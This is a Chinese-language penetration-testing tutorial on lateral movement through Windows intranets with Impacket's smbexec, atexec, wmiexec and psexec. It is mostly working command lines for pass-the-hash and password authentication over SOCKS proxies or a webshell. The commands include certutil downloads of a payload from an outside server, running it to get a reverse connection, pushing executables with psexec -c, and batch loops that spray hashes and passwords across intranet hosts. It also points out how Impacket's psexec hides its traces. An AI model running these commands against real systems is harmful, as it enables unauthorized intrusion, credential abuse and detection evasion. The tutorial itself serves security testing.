标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3407] 作者: ecawen 发表于: [2024-07-13]
本文共 [74] 位读者顶过
No.1 [出自:jiwo.org] 声明 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 No.2 前言 Impacket官方介绍为用于处理网络协议的Python类的集合,该集合包含了渗透测试中常见的工具种类,包括远程命令执行、信息收集、票据传递、凭据获取、中间人攻击测试等。该套件里的工具使用也是linux主机跳向windows主机的方式之一。 本篇文章主要讲解Impacket套件内远程命令执行工具在实际工作中的使用,其中包含全交互式工具(通常适用于内网环境下或socks代理环境下)、半交互式工具(通常适用于webshell环境下)。应用环境如下。 1.已有权限主机(包含webshell)不可出外网。 2.已获取到一些NTLM哈希字符串,但解不出明文密码,无法通过ipc、rpd等登陆目标主机。 3.已有权限主机可以出网,但出于某些原因需要在socks代理或端口转发的环境下进行内网渗透测试。 Impacket套件里远程命令执行工具均支持密码、NTLM、票据认证,本文将会讲到密码和NTLM的使用方式,票据认证使用方式会在后续Impacket票据工具使用中详细讲解。 以下测试环境为 已有权限主机:192.XXX.X.144 (win2012) 目标主机:192.XXX.X.76 (win8.1) 测试反弹、下载外网vps ip: 10x.xx.xx.x7 已掌握情况为:当前已获取部分ntlm哈希、密码,并尝试内网横向扩展。 No.3 smbexe smbexe为全交互式工具,所以不可用于webshell环境,可用于rdp等有交互环境登录使用或socks代理环境下使用。 此处测试环境独立于本篇文章测试环境,仅为说明,本篇文章内Impacket工具使用认证的账号rid必须为500,从winows 2008开始(包括2008),rid不为500的用户,windows都不允许远程连接(包括net use、at、winrm等),所以如果想对目标机远程执行命令,必须使用目标机rid 500的账号(通常为administrator)或域管账号。 通过查看wrw账号,发现该用户处于administrators组
如下图 执行以下两条操作,可发现使用管理组账号wrw进行smbexec.py远程执行命令操作会提示权限不足。 python smbexec.py ./administrator:Win2008@192.XXX.229.157 python smbexec.py ./wrw:Win2008@192.XXX.229.157
以下内容继续在测试环境测试 在socks网络环境下(图中所示socks工具为proxifier),使用NTLM hash认证对远程主机192.XXX.3.76执行命令,smbexec产生一个伪交互的cmd shell smbexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.XXX.3.76
在socks网络环境下(图中所示socks工具为proxifier),使用域管账号NTLM hash认证对远程主机192.XXX.3.76执行命令,smbexec产生一个伪交互的cmd shell smbexec.exe -hashes :518b98ad4178a53695dc997aa02d455c rootkit/administrator@192.168.3.76
在socks网络环境下(图中所示socks工具为proxifier),使用域管账号密码认证对远程主机192.168.3.76执行命令,smbexec产生一个伪交互的cmd shell smbexec.exe rootkit/administrator:admin!@#45@192.168.3.76
在socks网络环境下(图中所示socks工具为proxifier),使用local主机密码认证对远程主机192.168.3.76执行命令,smbexec产生一个伪交互的cmd shell smbexec.exe ./administrator:Win2008@192.168.3.76
在交互shell下,下载可执行程序(msf、cs等任意文件) certutil -urlcache -split -f http://10x.xx.xx.x7:8080/lib8.exe
No.4 atexec atexec是通过windows计划任务执行远程命令,atexec是一个半交互的工具,即参数中添加需要在远程主机执行的命令,工具执行后即返回命令结果,适用于webshell下,也适用于其他网络环境。 某些情况下,当获取到webshell之后,发现该主机不可出外网,且无法创建内网代理,只能通过webshell进行内网渗透测试, 如下图,在蚁剑客户端运行atexec,在远程机器上执行任意命令 atexec.exe ./administrator:Win2008@192.168.3.76 "whoami" atexec.exe ./administrator:Win2008@192.168.3.76 "ipconfig"
如果网络环境为已有内网socks代理环境,在socks网络环境下(图中所示socks工具为proxifier),可使用密码认证对远程主机192.168.3.76执行命令 atexec.exe ./administrator:Win2008@192.168.3.76 "whoami"
在socks网络环境下(图中所示socks工具为proxifier),使用NTLM hash认证对远程主机192.168.3.76执行命令 atexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "whoami"
在socks网络环境下(图中所示socks工具为proxifier),使用域管帐户密码认证对远程主机192.168.3.76执行命令,下载可执行程序(如msf、cs、其他任意文件,如密码获取、信息收集等) atexec.exe rootkit/administrator:admin!@#45@192.168.3.76 "certutil -urlcache -split -f http://10x.xx.xx.x7:8080/lib8.exe"
在上图下载可执行程序情况下,使用域管帐户密码认证远程执行该程序,使主机反向回连 atexec.exe rootkit/administrator:admin!@#45@192.168.3.76 "lib8.exe"
在上图下载可执行程序情况下,在linux主机下,使用proxychains代理工具,使用atexec远程执行该程序,使主机反向回连 注意此处,admin!@#45密码中的"!"需要转义,否则会报错。 proxychains python atexec.py rootkit/administrator:admin\!@#45@192.168.3.76 "lib8.exe"
使用远程主机NTLM hash认证对远程主机192.168.3.76执行命令 atexec.exe -hashes :518b98ad4178a53695dc997aa02d455c rootkit/administrator@192.168.3.76 "whoami"
由此可以写一些简单bat脚本,如批量对内网机器遍历做hash传递验证、指定主机ntlm hash遍历验证、内网机器遍历做密码验证、指定主机密码遍历验证。 内网机器遍历做hash传递验证,ips.txt内容为内网ip,每段一条 FOR /F %%i in (ips.txt) do atexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB821 ./administrator@%%i whoami 指定主机ntlm hash遍历验证,hashes.txt为已知ntlm hash内容,每段一条 FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76 whoami 内网机器遍历做密码验证,passwords.txt为已知密码内容,每段一条 FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%i@192.168.3.76 whoami 指定主机密码遍历验证,ips.txt内容为内网ip,每段一条 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami No.5 wmiexec wmiexec是一个即有全交互也有半交互的远程命令执行工具,可运用于多种环境,包括webshell环境、rdp环境、socks环境等。 在webshell下,使用域管理员账号密码认证对远程主机192.168.3.76执行命令 wmiexec.exe rootkit/administrator:admin!@#45@192.168.3.76 whoami
在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令 wmiexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 whoami
在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令,wmiexec 产生一个伪交互的cmd shell wmiexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76
在linux主机下,使用proxychains代理工具,使用wmiexec对远程主机192.168.3.76执行命令 proxychains python wmiexec.py rootkit/administrator:admin\!@#45@192.168.3.76 whoami
在socks网络环境下(图中所示socks工具为proxifier),使用帐号密码认证对远程主机192.168.3.76执行命令 wmiexec.exe ./administrator:Win2008@192.168.3.76 whoami
wmiexec也与atexec一样,可写脚本批量执行命令 No.6 psexec impacket套件内的psexec是一个即有全交互也有半交互的远程命令执行工具,可运用于多种环境,包括webshell环境、rdp环境、socks环境等。 psexec.exe始于微软的pstools套件, 用于管理员远程管理windows主机资产,在渗透测试中也经常用来对远程计算机执行命令。 与微软官方的psexec.exe做对比,官方psexec.exe执行远程命令会在远程主机创建一个PSEXEC的服务,并且命令执行后会一直存在,容易被管理人员发现并判断有入侵行为。impacket套件内的psexec,执行命令之后会删除对应的服务,隐蔽性更佳,而且impacket套件内的psexec支持PTH(哈希传递)。 与官方psexec相同,impacket套件内的psexec也支持"-c"参数,参数解释如下,即复制本地可执行文件到远程主机并执行 -c pathname copy the filename for later execution, arguments are passed in the command option 下文所讲述的是impacket套件内的psexec使用方法 在linux主机下,使用proxychains代理工具,使用psexec.py远程执行命令 proxychains python psexec.py ./administrator:Win2008@192.168.3.76
在psexec执行过程中,在远程主机192.168.3.76查看服务,发现创建了一个rwzH的服务
psexec执行完毕后,再在远程主机192.168.3.76查看服务,发现rwzH服务已不存在,psexec已自动删除自己创建的服务
在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令 psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "whoami"
在linux主机下,使用proxychains代理工具,使用psexec.py远程执行命令,注意密码内的"!"需要转义。 proxychains python psexec.py rootkit/administrator:admin\!@#45@192.168.3.76 whoami
下面使用"-c"参数远程加载可执行程序,使目标主机反向回连。 execute.exe放到与psexec.exe相同目录。 首先创建exe可执行文件服务端。
在socks网络环境下(图中所示socks工具为proxifier),使用帐户密码对远程主机192.168.3.76执行命令,使用"-c"参数。 psexec.exe rootkit/administrator:admin!@#45@192.168.3.76 -c execute.exe 在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令,使用"-c"参数。 psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 -c execute.exe
如下图,目标主机已正常回连,由于目标主机是双网卡主机,显示内网ip为另外一块网卡的ip。
如果执行的命令需要耗费比较长时间,或加载可执行程序,在webshell执行psexec.exe可能会收不到回显信息(webshell执行命令有超时时间),所以建议把命令执行结果写到一个文件,然后查看文件内容即可。 psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "netstat -an" >log.txt
命令执行回显内容
impacket套件内的psexec也与atexec一样,可写脚本批量执行命令。 |